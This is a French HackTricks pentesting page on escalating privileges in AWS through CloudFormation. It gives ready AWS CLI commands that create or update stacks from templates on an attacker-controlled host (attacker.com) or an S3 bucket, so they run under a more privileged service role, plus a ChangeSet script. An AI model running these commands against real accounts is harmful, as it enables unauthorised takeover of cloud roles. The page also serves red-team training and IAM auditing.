AWS - Cloudformation Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

cloudformation

Pour plus d'informations sur Cloudformation, consultez :

iam:PassRole, cloudformation:CreateStack

Un attaquant avec ces autorisations peut élever ses privilèges en créant une pile CloudFormation avec un modèle personnalisé, hébergé sur son serveur, pour exécuter des actions sous les autorisations d'un rôle spécifié :

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Sur la page suivante, vous trouverez un exemple d'exploitation avec la permission supplémentaire cloudformation:DescribeStacks:

Impact potentiel: Élévation de privilèges vers le rôle de service cloudformation spécifié.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Dans ce cas, vous pouvez abuser d'une pile cloudformation existante pour la mettre à jour et escalader les privilèges comme dans le scénario précédent:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

La permission cloudformation:SetStackPolicy peut être utilisée pour vous donner la permission UpdateStack sur une pile et effectuer l'attaque.

Impact potentiel : Élévation de privilèges vers le rôle de service cloudformation spécifié.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Si vous avez cette permission mais pas iam:PassRole, vous pouvez toujours mettre à jour les piles utilisées et abuser des rôles IAM auxquels elles sont déjà attachées. Vérifiez la section précédente pour un exemple d'exploitation (ne mentionnez simplement aucun rôle dans la mise à jour).

La permission cloudformation:SetStackPolicy peut être utilisée pour vous donner la permission UpdateStack sur une pile et effectuer l'attaque.

Impact potentiel : Élévation de privilèges vers le rôle de service cloudformation déjà attaché.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Un attaquant avec des autorisations pour transmettre un rôle et créer et exécuter un jeu de modifications peut créer/mettre à jour une nouvelle pile cloudformation et abuser des rôles de service cloudformation comme avec CreateStack ou UpdateStack.

L'exploitation suivante est une variation de celle du CreateStack utilisant les permissions ChangeSet pour créer une pile.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

La permission cloudformation:SetStackPolicy peut être utilisée pour vous donner des autorisations ChangeSet sur une pile et effectuer l'attaque.

Impact potentiel : Élévation de privilèges vers les rôles de service cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

C'est similaire à la méthode précédente sans passer par les rôles IAM, vous pouvez simplement abuser de ceux déjà attachés, il suffit de modifier le paramètre :

--change-set-type UPDATE

Impact potentiel : Privesc vers le rôle de service cloudformation déjà attaché.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Un attaquant pourrait abuser de ces autorisations pour créer/mettre à jour des StackSets afin d'exploiter des rôles cloudformation arbitraires.

Impact potentiel : Privesc vers les rôles de service cloudformation.

cloudformation:UpdateStackSet

Un attaquant pourrait abuser de cette autorisation sans l'autorisation PassRole pour mettre à jour des StackSets afin d'exploiter les rôles cloudformation attachés.

Impact potentiel : Privesc vers les rôles cloudformation attachés.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour